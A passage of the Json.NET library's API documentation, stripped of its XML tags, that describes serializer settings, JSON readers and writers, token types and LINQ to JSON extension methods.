- Indicates how the output should be formatted. - A JSON string of the . - - - - Serializes the to a JSON string using formatting and omits the root object if is true. - - The node to serialize. - Indicates how the output should be formatted. - Omits writing the root object. - A JSON string of the . - - - - Deserializes the from a JSON string. - - The JSON string. - The deserialized . - - - - Deserializes the from a JSON string nested in a root element specified by . - - The JSON string. - The name of the root element to append when deserializing. - The deserialized . - - - - Deserializes the from a JSON string nested in a root element specified by - and writes a Json.NET array attribute for collections. - - The JSON string. - The name of the root element to append when deserializing. - - A value to indicate whether to write the Json.NET array attribute. - This attribute helps preserve arrays when converting the written XML back to JSON. - - The deserialized . - - - - Deserializes the from a JSON string nested in a root element specified by , - writes a Json.NET array attribute for collections, and encodes special characters. - - The JSON string. - The name of the root element to append when deserializing. - - A value to indicate whether to write the Json.NET array attribute. - This attribute helps preserve arrays when converting the written XML back to JSON. - - - A value to indicate whether to encode special characters when converting JSON to XML. - If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify - XML namespaces, attributes or processing directives. Instead special characters are encoded and written - as part of the XML element name. - - The deserialized . - - - - Converts an object to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Gets a value indicating whether this can read JSON. - - true if this can read JSON; otherwise, false. - - - - Gets a value indicating whether this can write JSON. - - true if this can write JSON; otherwise, false. - - - - Converts an object to and from JSON. - - The object type to convert. - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. If there is no existing value then null will be used. - The existing value has a value. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Instructs the to use the specified when serializing the member or class. - - - - - Gets the of the . - - The of the . - - - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - - - - - Initializes a new instance of the class. - - Type of the . - - - - Initializes a new instance of the class. - - Type of the . - Parameter list to use when constructing the . Can be null. - - - - Represents a collection of . - - - - - Instructs the how to serialize the collection. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with the specified container Id. - - The container Id. - - - - The exception thrown when an error occurs during JSON serialization or deserialization. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with a specified error message. - - The error message that explains the reason for the exception. - - - - Initializes a new instance of the class - with a specified error message and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Initializes a new instance of the class. - - The that holds the serialized object data about the exception being thrown. - The that contains contextual information about the source or destination. - The parameter is null. - The class name is null or is zero (0). - - - - Instructs the to deserialize properties with no matching class member into the specified collection - and write values during serialization. - - - - - Gets or sets a value that indicates whether to write extension data when serializing the object. - - - true to write extension data when serializing the object; otherwise, false. The default is true. - - - - - Gets or sets a value that indicates whether to read extension data when deserializing the object. - - - true to read extension data when deserializing the object; otherwise, false. The default is true. - - - - - Initializes a new instance of the class. - - - - - Instructs the not to serialize the public field or public read/write property value. - - - - - Base class for a table of atomized string objects. - - - - - Gets a string containing the same characters as the specified range of characters in the given array. - - The character array containing the name to find. - The zero-based index into the array specifying the first character of the name. - The number of characters in the name. - A string containing the same characters as the specified range of characters in the given array. - - - - Instructs the how to serialize the object. - - - - - Gets or sets the member serialization. - - The member serialization. - - - - Gets or sets the missing member handling used when deserializing this object. - - The missing member handling. - - - - Gets or sets how the object's properties with null values are handled during serialization and deserialization. - - How the object's properties with null values are handled during serialization and deserialization. - - - - Gets or sets a value that indicates whether the object's properties are required. - - - A value indicating whether the object's properties are required. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with the specified member serialization. - - The member serialization. - - - - Initializes a new instance of the class with the specified container Id. - - The container Id. - - - - Instructs the to always serialize the member with the specified name. - - - - - Gets or sets the type used when serializing the property's collection items. - - The collection's items type. - - - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - - - [JsonProperty(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] - - - - - - Gets or sets the of the . - - The of the . - - - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - - - [JsonProperty(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] - - - - - - Gets or sets the null value handling used when serializing this property. - - The null value handling. - - - - Gets or sets the default value handling used when serializing this property. - - The default value handling. - - - - Gets or sets the reference loop handling used when serializing this property. - - The reference loop handling. - - - - Gets or sets the object creation handling used when deserializing this property. - - The object creation handling. - - - - Gets or sets the type name handling used when serializing this property. - - The type name handling. - - - - Gets or sets whether this property's value is serialized as a reference. - - Whether this property's value is serialized as a reference. - - - - Gets or sets the order of serialization of a member. - - The numeric order of serialization. - - - - Gets or sets a value indicating whether this property is required. - - - A value indicating whether this property is required. - - - - - Gets or sets the name of the property. - - The name of the property. - - - - Gets or sets the reference loop handling used when serializing the property's collection items. - - The collection's items reference loop handling. - - - - Gets or sets the type name handling used when serializing the property's collection items. - - The collection's items type name handling. - - - - Gets or sets whether this property's collection items are serialized as a reference. - - Whether this property's collection items are serialized as a reference. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with the specified name. - - Name of the property. - - - - Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. - - - - - Specifies the state of the reader. - - - - - A read method has not been called. - - - - - The end of the file has been reached successfully. - - - - - Reader is at a property. - - - - - Reader is at the start of an object. - - - - - Reader is in an object. - - - - - Reader is at the start of an array. - - - - - Reader is in an array. - - - - - The method has been called. - - - - - Reader has just read a value. - - - - - Reader is at the start of a constructor. - - - - - Reader is in a constructor. - - - - - An error occurred that prevents the read operation from continuing. - - - - - The end of the file has been reached successfully. - - - - - Gets the current reader state. - - The current reader state. - - - - Gets or sets a value indicating whether the source should be closed when this reader is closed. - - - true to close the source when this reader is closed; otherwise false. The default is true. - - - - - Gets or sets a value indicating whether multiple pieces of JSON content can - be read from a continuous stream without erroring. - - - true to support reading multiple pieces of JSON content; otherwise false. - The default is false. - - - - - Gets the quotation mark character used to enclose the value of a string. - - - - - Gets or sets how time zones are handled when reading JSON. - - - - - Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. - - - - - Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. - - - - - Gets or sets how custom date formatted strings are parsed when reading JSON. - - - - - Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . - A null value means there is no maximum. - The default value is 64. - - - - - Gets the type of the current JSON token. - - - - - Gets the text value of the current JSON token. - - - - - Gets the .NET type for the current JSON token. - - - - - Gets the depth of the current token in the JSON document. - - The depth of the current token in the JSON document. - - - - Gets the path of the current JSON token. - - - - - Gets or sets the culture used when reading JSON. Defaults to . - - - - - Initializes a new instance of the class. - - - - - Reads the next JSON token from the source. - - true if the next token was read successfully; false if there are no more tokens to read. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a . - - A . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a []. - - A [] or null if the next JSON token is null. This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Skips the children of the current token. - - - - - Sets the current token. - - The new token. - - - - Sets the current token and value. - - The new token. - The value. - - - - Sets the current token and value. - - The new token. - The value. - A flag indicating whether the position index inside an array should be updated. - - - - Sets the state based on current token type. - - - - - Releases unmanaged and - optionally - managed resources. - - true to release both managed and unmanaged resources; false to release only unmanaged resources. - - - - Changes the reader's state to . - If is set to true, the source is also closed. - - - - - The exception thrown when an error occurs while reading JSON text. - - - - - Gets the line number indicating where the error occurred. - - The line number indicating where the error occurred. - - - - Gets the line position indicating where the error occurred. - - The line position indicating where the error occurred. - - - - Gets the path to the JSON where the error occurred. - - The path to the JSON where the error occurred. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with a specified error message. - - The error message that explains the reason for the exception. - - - - Initializes a new instance of the class - with a specified error message and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Initializes a new instance of the class. - - The that holds the serialized object data about the exception being thrown. - The that contains contextual information about the source or destination. - The parameter is null. - The class name is null or is zero (0). - - - - Initializes a new instance of the class - with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The path to the JSON where the error occurred. - The line number indicating where the error occurred. - The line position indicating where the error occurred. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Instructs the to always serialize the member, and to require that the member has a value. - - - - - The exception thrown when an error occurs during JSON serialization or deserialization. - - - - - Gets the line number indicating where the error occurred. - - The line number indicating where the error occurred. - - - - Gets the line position indicating where the error occurred. - - The line position indicating where the error occurred. - - - - Gets the path to the JSON where the error occurred. - - The path to the JSON where the error occurred. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with a specified error message. - - The error message that explains the reason for the exception. - - - - Initializes a new instance of the class - with a specified error message and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Initializes a new instance of the class. - - The that holds the serialized object data about the exception being thrown. - The that contains contextual information about the source or destination. - The parameter is null. - The class name is null or is zero (0). - - - - Initializes a new instance of the class - with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The path to the JSON where the error occurred. - The line number indicating where the error occurred. - The line position indicating where the error occurred. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Serializes and deserializes objects into and from the JSON format. - The enables you to control how objects are encoded into JSON. - - - - - Occurs when the errors during serialization and deserialization. - - - - - Gets or sets the used by the serializer when resolving references. - - - - - Gets or sets the used by the serializer when resolving type names. - - - - - Gets or sets the used by the serializer when resolving type names. - - - - - Gets or sets the used by the serializer when writing trace messages. - - The trace writer. - - - - Gets or sets the equality comparer used by the serializer when comparing references. - - The equality comparer. - - - - Gets or sets how type name writing and reading is handled by the serializer. - The default value is . - - - should be used with caution when your application deserializes JSON from an external source. - Incoming types should be validated with a custom - when deserializing with a value other than . - - - - - Gets or sets how a type name assembly is written and resolved by the serializer. - The default value is . - - The type name assembly format. - - - - Gets or sets how a type name assembly is written and resolved by the serializer. - The default value is . - - The type name assembly format. - - - - Gets or sets how object references are preserved by the serializer. - The default value is . - - - - - Gets or sets how reference loops (e.g. a class referencing itself) is handled. - The default value is . - - - - - Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. - The default value is . - - - - - Gets or sets how null values are handled during serialization and deserialization. - The default value is . - - - - - Gets or sets how default values are handled during serialization and deserialization. - The default value is . - - - - - Gets or sets how objects are created during deserialization. - The default value is . - - The object creation handling. - - - - Gets or sets how constructors are used during deserialization. - The default value is . - - The constructor handling. - - - - Gets or sets how metadata properties are used during deserialization. - The default value is . - - The metadata properties handling. - - - - Gets a collection that will be used during serialization. - - Collection that will be used during serialization. - - - - Gets or sets the contract resolver used by the serializer when - serializing .NET objects to JSON and vice versa. - - - - - Gets or sets the used by the serializer when invoking serialization callback methods. - - The context. - - - - Indicates how JSON text output is formatted. - The default value is . - - - - - Gets or sets how dates are written to JSON text. - The default value is . - - - - - Gets or sets how time zones are handled during serialization and deserialization. - The default value is . - - - - - Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. - The default value is . - - - - - Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. - The default value is . - - - - - Gets or sets how special floating point numbers, e.g. , - and , - are written as JSON text. - The default value is . - - - - - Gets or sets how strings are escaped when writing JSON text. - The default value is . - - - - - Gets or sets how and values are formatted when writing JSON text, - and the expected date format when reading JSON text. - The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". - - - - - Gets or sets the culture used when reading JSON. - The default value is . - - - - - Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . - A null value means there is no maximum. - The default value is 64. - - - - - Gets a value indicating whether there will be a check for additional JSON content after deserializing an object. - The default value is false. - - - true if there will be a check for additional JSON content after deserializing an object; otherwise, false. - - - - - Initializes a new instance of the class. - - - - - Creates a new instance. - The will not use default settings - from . - - - A new instance. - The will not use default settings - from . - - - - - Creates a new instance using the specified . - The will not use default settings - from . - - The settings to be applied to the . - - A new instance using the specified . - The will not use default settings - from . - - - - - Creates a new instance. - The will use default settings - from . - - - A new instance. - The will use default settings - from . - - - - - Creates a new instance using the specified . - The will use default settings - from as well as the specified . - - The settings to be applied to the . - - A new instance using the specified . - The will use default settings - from as well as the specified . - - - - - Populates the JSON values onto the target object. - - The that contains the JSON structure to read values from. - The target object to populate values onto. - - - - Populates the JSON values onto the target object. - - The that contains the JSON structure to read values from. - The target object to populate values onto. - - - - Deserializes the JSON structure contained by the specified . - - The that contains the JSON structure to deserialize. - The being deserialized. - - - - Deserializes the JSON structure contained by the specified - into an instance of the specified type. - - The containing the object. - The of object being deserialized. - The instance of being deserialized. - - - - Deserializes the JSON structure contained by the specified - into an instance of the specified type. - - The containing the object. - The type of the object to deserialize. - The instance of being deserialized. - - - - Deserializes the JSON structure contained by the specified - into an instance of the specified type. - - The containing the object. - The of object being deserialized. - The instance of being deserialized. - - - - Serializes the specified and writes the JSON structure - using the specified . - - The used to write the JSON structure. - The to serialize. - - - - Serializes the specified and writes the JSON structure - using the specified . - - The used to write the JSON structure. - The to serialize. - - The type of the value being serialized. - This parameter is used when is to write out the type name if the type of the value does not match. - Specifying the type is optional. - - - - - Serializes the specified and writes the JSON structure - using the specified . - - The used to write the JSON structure. - The to serialize. - - The type of the value being serialized. - This parameter is used when is Auto to write out the type name if the type of the value does not match. - Specifying the type is optional. - - - - - Serializes the specified and writes the JSON structure - using the specified . - - The used to write the JSON structure. - The to serialize. - - - - Specifies the settings on a object. - - - - - Gets or sets how reference loops (e.g. a class referencing itself) are handled. - The default value is . - - Reference loop handling. - - - - Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. - The default value is . - - Missing member handling. - - - - Gets or sets how objects are created during deserialization. - The default value is . - - The object creation handling. - - - - Gets or sets how null values are handled during serialization and deserialization. - The default value is . - - Null value handling. - - - - Gets or sets how default values are handled during serialization and deserialization. - The default value is . - - The default value handling. - - - - Gets or sets a collection that will be used during serialization. - - The converters. - - - - Gets or sets how object references are preserved by the serializer. - The default value is . - - The preserve references handling. - - - - Gets or sets how type name writing and reading is handled by the serializer. - The default value is . - - - should be used with caution when your application deserializes JSON from an external source. - Incoming types should be validated with a custom - when deserializing with a value other than . - - The type name handling. - - - - Gets or sets how metadata properties are used during deserialization. - The default value is . - - The metadata properties handling. - - - - Gets or sets how a type name assembly is written and resolved by the serializer. - The default value is . - - The type name assembly format. - - - - Gets or sets how a type name assembly is written and resolved by the serializer. - The default value is . - - The type name assembly format. - - - - Gets or sets how constructors are used during deserialization. - The default value is . - - The constructor handling. - - - - Gets or sets the contract resolver used by the serializer when - serializing .NET objects to JSON and vice versa. - - The contract resolver. - - - - Gets or sets the equality comparer used by the serializer when comparing references. - - The equality comparer. - - - - Gets or sets the used by the serializer when resolving references. - - The reference resolver. - - - - Gets or sets a function that creates the used by the serializer when resolving references. - - A function that creates the used by the serializer when resolving references. - - - - Gets or sets the used by the serializer when writing trace messages. - - The trace writer. - - - - Gets or sets the used by the serializer when resolving type names. - - The binder. - - - - Gets or sets the used by the serializer when resolving type names. - - The binder. - - - - Gets or sets the error handler called during serialization and deserialization. - - The error handler called during serialization and deserialization. - - - - Gets or sets the used by the serializer when invoking serialization callback methods. - - The context. - - - - Gets or sets how and values are formatted when writing JSON text, - and the expected date format when reading JSON text. - The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". - - - - - Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . - A null value means there is no maximum. - The default value is 64. - - - - - Indicates how JSON text output is formatted. - The default value is . - - - - - Gets or sets how dates are written to JSON text. - The default value is . - - - - - Gets or sets how time zones are handled during serialization and deserialization. - The default value is . - - - - - Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. - The default value is . - - - - - Gets or sets how special floating point numbers, e.g. , - and , - are written as JSON. - The default value is . - - - - - Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. - The default value is . - - - - - Gets or sets how strings are escaped when writing JSON text. - The default value is . - - - - - Gets or sets the culture used when reading JSON. - The default value is . - - - - - Gets a value indicating whether there will be a check for additional content after deserializing an object. - The default value is false. - - - true if there will be a check for additional content after deserializing an object; otherwise, false. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - using values copied from the passed in . - - - - - Represents a reader that provides fast, non-cached, forward-only access to JSON text data. - - - - - Initializes a new instance of the class with the specified . - - The containing the JSON data to read. - - - - Gets or sets the reader's property name table. - - - - - Gets or sets the reader's character buffer pool. - - - - - Reads the next JSON token from the underlying . - - - true if the next token was read successfully; false if there are no more tokens to read. - - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a . - - A . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a []. - - A [] or null if the next JSON token is null. This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Changes the reader's state to . - If is set to true, the underlying is also closed. - - - - - Gets a value indicating whether the class can return line information. - - - true if and can be provided; otherwise, false. - - - - - Gets the current line number. - - - The current line number or 0 if no line information is available (for example, returns false). - - - - - Gets the current line position. - - - The current line position or 0 if no line information is available (for example, returns false). - - - - - Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. - - - - - Gets or sets the writer's character array pool. - - - - - Gets or sets how many s to write for each level in the hierarchy when is set to . - - - - - Gets or sets which character to use to quote attribute values. - - - - - Gets or sets which character to use for indenting when is set to . - - - - - Gets or sets a value indicating whether object names will be surrounded with quotes. - - - - - Initializes a new instance of the class using the specified . - - The to write to. - - - - Flushes whatever is in the buffer to the underlying and also flushes the underlying . - - - - - Closes this writer. - If is set to true, the underlying is also closed. - If is set to true, the JSON is auto-completed. - - - - - Writes the beginning of a JSON object. - - - - - Writes the beginning of a JSON array. - - - - - Writes the start of a constructor with the given name. - - The name of the constructor. - - - - Writes the specified end token. - - The end token to write. - - - - Writes the property name of a name/value pair on a JSON object. - - The name of the property. - - - - Writes the property name of a name/value pair on a JSON object. - - The name of the property. - A flag to indicate whether the text should be escaped when it is written as a JSON property name. - - - - Writes indent characters. - - - - - Writes the JSON value delimiter. - - - - - Writes an indent space. - - - - - Writes a value. - An error will raised if the value cannot be written as a single JSON token. - - The value to write. - - - - Writes a null value. - - - - - Writes an undefined value. - - - - - Writes raw JSON. - - The raw JSON to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a value. - - The value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a [] value. - - The [] value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a comment /*...*/ containing the specified text. - - Text to place inside the comment. - - - - Writes the given white space. - - The string of white space characters. - - - - Specifies the type of JSON token. - - - - - This is returned by the if a read method has not been called. - - - - - An object start token. - - - - - An array start token. - - - - - A constructor start token. - - - - - An object property name. - - - - - A comment. - - - - - Raw JSON. - - - - - An integer. - - - - - A float. - - - - - A string. - - - - - A boolean. - - - - - A null token. - - - - - An undefined token. - - - - - An object end token. - - - - - An array end token. - - - - - A constructor end token. - - - - - A Date. - - - - - Byte data. - - - - - - Represents a reader that provides validation. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Sets an event handler for receiving schema validation errors. - - - - - Gets the text value of the current JSON token. - - - - - - Gets the depth of the current token in the JSON document. - - The depth of the current token in the JSON document. - - - - Gets the path of the current JSON token. - - - - - Gets the quotation mark character used to enclose the value of a string. - - - - - - Gets the type of the current JSON token. - - - - - - Gets the .NET type for the current JSON token. - - - - - - Initializes a new instance of the class that - validates the content returned from the given . - - The to read from while validating. - - - - Gets or sets the schema. - - The schema. - - - - Gets the used to construct this . - - The specified in the constructor. - - - - Changes the reader's state to . - If is set to true, the underlying is also closed. - - - - - Reads the next JSON token from the underlying as a of . - - A of . - - - - Reads the next JSON token from the underlying as a []. - - - A [] or null if the next JSON token is null. - - - - - Reads the next JSON token from the underlying as a of . - - A of . - - - - Reads the next JSON token from the underlying as a of . - - A of . - - - - Reads the next JSON token from the underlying as a of . - - A of . - - - - Reads the next JSON token from the underlying as a . - - A . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . - - - - Reads the next JSON token from the underlying . - - - true if the next token was read successfully; false if there are no more tokens to read. - - - - - Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. - - - - - Gets or sets a value indicating whether the destination should be closed when this writer is closed. - - - true to close the destination when this writer is closed; otherwise false. The default is true. - - - - - Gets or sets a value indicating whether the JSON should be auto-completed when this writer is closed. - - - true to auto-complete the JSON when this writer is closed; otherwise false. The default is true. - - - - - Gets the top. - - The top. - - - - Gets the state of the writer. - - - - - Gets the path of the writer. - - - - - Gets or sets a value indicating how JSON text output should be formatted. - - - - - Gets or sets how dates are written to JSON text. - - - - - Gets or sets how time zones are handled when writing JSON text. - - - - - Gets or sets how strings are escaped when writing JSON text. - - - - - Gets or sets how special floating point numbers, e.g. , - and , - are written to JSON text. - - - - - Gets or sets how and values are formatted when writing JSON text. - - - - - Gets or sets the culture used when writing JSON. Defaults to . - - - - - Initializes a new instance of the class. - - - - - Flushes whatever is in the buffer to the destination and also flushes the destination. - - - - - Closes this writer. - If is set to true, the destination is also closed. - If is set to true, the JSON is auto-completed. - - - - - Writes the beginning of a JSON object. - - - - - Writes the end of a JSON object. - - - - - Writes the beginning of a JSON array. - - - - - Writes the end of an array. - - - - - Writes the start of a constructor with the given name. - - The name of the constructor. - - - - Writes the end constructor. - - - - - Writes the property name of a name/value pair of a JSON object. - - The name of the property. - - - - Writes the property name of a name/value pair of a JSON object. - - The name of the property. - A flag to indicate whether the text should be escaped when it is written as a JSON property name. - - - - Writes the end of the current JSON object or array. - - - - - Writes the current token and its children. - - The to read the token from. - - - - Writes the current token. - - The to read the token from. - A flag indicating whether the current token's children should be written. - - - - Writes the token and its value. - - The to write. - - The value to write. - A value is only required for tokens that have an associated value, e.g. the property name for . - null can be passed to the method for tokens that don't have a value, e.g. . - - - - - Writes the token. - - The to write. - - - - Writes the specified end token. - - The end token to write. - - - - Writes indent characters. - - - - - Writes the JSON value delimiter. - - - - - Writes an indent space. - - - - - Writes a null value. - - - - - Writes an undefined value. - - - - - Writes raw JSON without changing the writer's state. - - The raw JSON to write. - - - - Writes raw JSON where a value is expected and updates the writer's state. - - The raw JSON to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a [] value. - - The [] value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - An error will raised if the value cannot be written as a single JSON token. - - The value to write. - - - - Writes a comment /*...*/ containing the specified text. - - Text to place inside the comment. - - - - Writes the given white space. - - The string of white space characters. - - - - Releases unmanaged and - optionally - managed resources. - - true to release both managed and unmanaged resources; false to release only unmanaged resources. - - - - Sets the state of the . - - The being written. - The value being written. - - - - The exception thrown when an error occurs while writing JSON text. - - - - - Gets the path to the JSON where the error occurred. - - The path to the JSON where the error occurred. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with a specified error message. - - The error message that explains the reason for the exception. - - - - Initializes a new instance of the class - with a specified error message and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Initializes a new instance of the class. - - The that holds the serialized object data about the exception being thrown. - The that contains contextual information about the source or destination. - The parameter is null. - The class name is null or is zero (0). - - - - Initializes a new instance of the class - with a specified error message, JSON path and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The path to the JSON where the error occurred. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Specifies how JSON comments are handled when loading JSON. - - - - - Ignore comments. - - - - - Load comments as a with type . - - - - - Specifies how duplicate property names are handled when loading JSON. - - - - - Replace the existing value when there is a duplicate property. The value of the last property in the JSON object will be used. - - - - - Ignore the new value when there is a duplicate property. The value of the first property in the JSON object will be used. - - - - - Throw a when a duplicate property is encountered. - - - - - Contains the LINQ to JSON extension methods. - - - - - Returns a collection of tokens that contains the ancestors of every token in the source collection. - - The type of the objects in source, constrained to . - An of that contains the source collection. - An of that contains the ancestors of every token in the source collection. - - - - Returns a collection of tokens that contains every token in the source collection, and the ancestors of every token in the source collection. - - The type of the objects in source, constrained to . - An of that contains the source collection. - An of that contains every token in the source collection, the ancestors of every token in the source collection. - - - - Returns a collection of tokens that contains the descendants of every token in the source collection. - - The type of the objects in source, constrained to . - An of that contains the source collection. - An of that contains the descendants of every token in the source collection. - - - - Returns a collection of tokens that contains every token in the source collection, and the descendants of every token in the source collection. - - The type of the objects in source, constrained to . - An of that contains the source collection. - An of that contains every token in the source collection, and the descendants of every token in the source collection. - - - - Returns a collection of child properties of every object in the source collection. - - An of that contains the source collection. - An of that contains the properties of every object in the source collection. - - - - Returns a collection of child values of every object in the source collection with the given key. - - An of that contains the source collection. - The token key. - An of that contains the values of every token in the source collection with the given key. - - - - Returns a collection of child values of every object in the source collection. - - An of that contains the source collection. - An of that contains the values of every token in the source collection. - - - - Returns a collection of converted child values of every object in the source collection with the given key. - - The type to convert the values to. - An of that contains the source collection. - The token key. - An that contains the converted values of every token in the source collection with the given key. - - - - Returns a collection of converted child values of every object in the source collection. - - The type to convert the values to. - An of that contains the source collection. - An that contains the converted values of every token in the source collection. - - - - Converts the value. - - The type to convert the value to. - A cast as a of . - A converted value. - - - - Converts the value. - - The source collection type. - The type to convert the value to. - A cast as a of . - A converted value. - - - - Returns a collection of child tokens of every array in the source collection. - - The source collection type. - An of that contains the source collection. - An of that contains the values of every token in the source collection. - - - - Returns a collection of converted child tokens of every array in the source collection. - - An of that contains the source collection. - The type to convert the values to. - The source collection type. - An that contains the converted values of every token in the source collection. - - - - Returns the input typed as . - - An of that contains the source collection. - The input typed as . - - - - Returns the input typed as . - - The source collection type. - An of that contains the source collection. - The input typed as . - - - - Represents a collection of objects. - - The type of token. - - - - Gets the of with the specified key. - - - - - - Represents a JSON array. - - - - - - - - Gets the container's children tokens. - - The container's children tokens. - - - - Gets the node type for this . - - The type. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Initializes a new instance of the class with the specified content. - - The contents of the array. - - - - Initializes a new instance of the class with the specified content. - - The contents of the array. - - - - Loads an from a 